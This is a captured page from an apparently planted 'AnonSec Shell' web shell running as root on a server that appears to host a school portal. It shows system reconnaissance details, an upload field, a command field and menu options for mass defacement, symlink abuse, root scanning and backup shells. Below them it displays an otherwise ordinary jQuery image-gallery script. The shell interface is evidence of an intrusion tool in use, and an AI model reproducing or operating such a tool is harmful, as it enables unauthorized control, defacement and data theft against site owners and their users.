AnonSec Shell
Server IP :  /  Your IP : 10.244.4.16   [ Reverse IP ]
Web Server : nginx/1.25.3
System : Linux escuela-portal-app-54f56585bc-kst6g 5.15.0-1084-azure #93-Ubuntu SMP Sat Mar 15 14:12:29 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.2.13
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/app/public/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/app/public/js/gallery.js
// Imágenes de ejemplo para la galería
const images = [
    "imagen1.jpg",
    "imagen2.jpg",
    "imagen3.jpg",
    "imagen4.jpg",
    "imagen5.jpg",
    "imagen6.jpg",
    "imagen7.jpg",
    "imagen8.jpg",
    "imagen9.jpg",
    "imagen10.jpg",
    // Agrega más imágenes aquí
];

// Configuración de la galería
const itemsPerPage = 12; // 3 columnas x 4 filas
const totalPages = Math.ceil(images.length / itemsPerPage);

// Función para generar la galería de imágenes
function generateGallery(page) {
    const startIndex = (page - 1) * itemsPerPage;
    const endIndex = startIndex + itemsPerPage;
    const galleryItems = images.slice(startIndex, endIndex);

    const galleryElement = $("#gallery");
    galleryElement.empty();

    for (let i = 0; i < galleryItems.length; i++) {
        const imageSrc = galleryItems[i];
        const imageElement = $("<img>").attr("src", imageSrc).addClass("img-fluid");
        const galleryItem = $("<div>").addClass("col-lg-4 col-md-6 gallery-item").append(imageElement);
        galleryElement.append(galleryItem);
    }
}

// Función para generar la paginación
function generatePagination() {
    const paginationElement = $("#pagination");
    paginationElement.empty();

    for (let i = 1; i <= totalPages; i++) {
        const pageItem = $("<li>").addClass("page-item").append($("<a>").addClass("page-link").text(i));
        paginationElement.append(pageItem);
    }

    paginationElement.find("li:first-child").addClass("active");

    paginationElement.find("li").click(function () {
        const page = $(this).text();
        generateGallery(page);

        paginationElement.find("li").removeClass("active");
        $(this).addClass("active");
    });
}

// Inicializar la galería y paginación
generateGallery(1);
generatePagination();
``

Anon7 - 2022
AnonSec Team